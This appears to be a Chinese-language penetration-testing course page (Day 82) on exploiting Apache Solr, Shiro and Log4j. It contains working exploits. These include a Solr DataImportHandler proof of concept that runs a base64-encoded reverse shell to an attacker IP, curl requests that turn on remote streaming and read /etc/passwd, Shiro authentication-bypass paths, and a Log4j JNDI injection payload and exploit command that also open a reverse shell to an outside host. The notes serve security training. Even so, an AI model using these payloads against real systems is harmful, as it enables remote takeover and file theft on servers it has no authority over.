

Day82 服务攻防-开发组件安全&Solr搜索&Shiro身份&Log4j日志&本地CVE环境复现



1.知识点

- 1、数据库-Redis-未授权RCE&CVE
- 2、数据库-Couchdb-未授权RCE&CVE
- 3、数据库-H2database-未授权RCE&CVE

-
- 1、中间件-IIS-短文件&解析&蓝屏等
 - 2、中间件-Nginx-文件解析&命令执行等
 - 3、中间件-Apache-RCE&目录遍历&文件解析等
 - 4、中间件-Tomcat-弱口令&文件上传&文件包含等

-
- 1、中间件-Jetty-CVE&信息泄漏
 - 2、中间件-Jenkins-CVE&RCE执行

- 3、中间件-Weblogic-CVE&反序列化&RCE
- 4、应用WPS-HW2023-RCE&复现&上线CS

-
- 1、PHP-框架安全-Thinkphp&Laravel
 - 2、J2EE-框架安全-SpringBoot&Struts2

-
- 1、J2EE-组件安全-Solr-全文搜索
 - 2、J2EE-组件安全-Shiro-身份验证
 - 3、J2EE-组件安全-Log4J-日志记录

2.详细点

2.1 常见语言开发框架

- PHP: Thinkphp Laravel YII CodeIgniter CakePHP Zend等
- JAVA: Spring MyBatis Hibernate Struts2 Springboot等
- Python: Django Flask Bottle Turbobars Tornado Web2py等
- Javascript: Vue.js Node.js Bootstrap JQuery Angular等

2.2 常见语言开发组件: (Java)



- 1 Apache Solr、Apache Shiro、Apache Struts2、Apache Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba FastJson、Jackson、Log4J、XSteam等。

3.演示案例

3.1 J2EE-组件Solr-本地demo&CVE



- 1 -Solr:
 - 2 主要基于HTTP和Apache Lucene实现的全文搜索服务器。
 - 3 历史漏洞: <https://avd.aliyun.com/search?q=Solr>
 - 4 黑盒特征: 图标及端口8393
 - 5
 - 6 1、命令执行 (CVE-2019-17558)
 - 7 Apache Solr 5.0.0版本至8.3.1
 - 8 https://github.com/jas502n/solr_rce
 - 9 D:\Python27\python.exe solr_rce.py http://123.58.236.76:50847 id
 - 10
 - 11 2、远程命令执行漏洞(CVE-2019-0193)
 - 12 Apache Solr < 8.2.0版本
 - 13 <https://vulnhub.org/#/environments/solr/CVE-2019-0193/>

```

14 条件1: Apache Solr的DataImportHandler启用了模块DataImportHandler(默认不会被启用)
15 条件2: Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)
16 选择已有核心后选择Dataimport功能并选择debug模式, 更改填入以下POC, 点击Execute with this
    Configuration
17 <dataConfig>
18   <dataSource type="URLDataSource"/>
19   <script><![CDATA[
20       function poc(){ java.lang.Runtime.getRuntime().exec("bash -c
21       {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYyMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|
22       {bash,-i}");
23       }
24   ]]></script>
25   <document>
26     <entity name="stackoverflow"
27       url="https://stackoverflow.com/feeds/tag/solr"
28       processor="XPathEntityProcessor"
29       foreach="/feed"
30       transformer="script:poc" />
31   </document>
32 </dataConfig>
33
34 3、Apache Solr 文件读取&SSRF (CVE-2021-27905)
35 全版本官方拒绝修复漏洞
36 1、获取数据库名
37 http://47.94.236.117:8983/solr/admin/cores?indexInfo=false&wt=json
38 2、访问触发
39 curl -i -s -k -X '$POST' \
40   -H '$Content-Type: application/json' --data-binary '${"\set-property\":"
41   {"requestDispatcher.requestParsers.enableRemoteStreaming\":"true}}}' \
42   '$http://47.94.236.117:8983/solr/demo/config'
43 3、任意文件读取
44 curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?
45 param=ContentStreams&stream.url=file:///etc/passwd'

```

3.2 J2EE-组件Shiro-本地demo&CVE

```

1  -Shiro:
2  Java安全框架, 能够用于身份验证、授权、加密和会话管理。
3  历史漏洞: https://avd.aliyun.com/search?q=Shiro
4  黑盒特征: 数据包cookie里面rememberMe
5
6  1、CVE_2016_4437 Shiro-550+Shiro-721
7  影响范围: Apache Shiro <= 1.2.4
8  工具箱利用项目搜哈
9
10 2、CVE-2020-11989
11 Poc: /admin/%20

```

```
12 影响范围: Apache Shiro < 1.7.1
13
14 3、CVE-2020-1957
15 Poc: /xxx/..;/admin/
16 影响范围: Apache Shiro < 1.5.3
17
18 4、CVE-2022-32532
19 Poc: /permit/any
20 /permit/a%0any可绕过
21 需要依赖代码具体写法, 无法自动化, 风险较低。
22 影响范围: Apache Shiro < 1.9.1
```

3.3 J2EE-组件Log4j-本地demo&CVE

```
1 -Log4j:
2 Apache的一个开源项目, 是一个基于Java的日志记录框架。
3 历史漏洞: https://avd.aliyun.com/search?q=Log4j
4 黑盒特征: 盲打 会问蓝队攻击特征 (${jndi:rmi:///osutj8})
5
6 Log4j2远程命令执行 (CVE-2021-44228)
7 漏洞影响的产品版本包括:
8 Apache Log4j2 2.0 - 2.15.0-rc1
9 1、生成反弹Shell的JNDI注入
10 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -c "bash -c
    {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYyMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|
    {bash,-i}" -A 47.94.236.117
11 2、构造JNDI注入Payload提交
12 ${jndi:rmi://47.94.236.117:1099/osutj8}
13 %24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%34%37%2e%39%34%2e%32%33%36%2e%31%31%37%3a%31%3
    0%39%39%2f%6f%73%75%74%6a%38%7d
```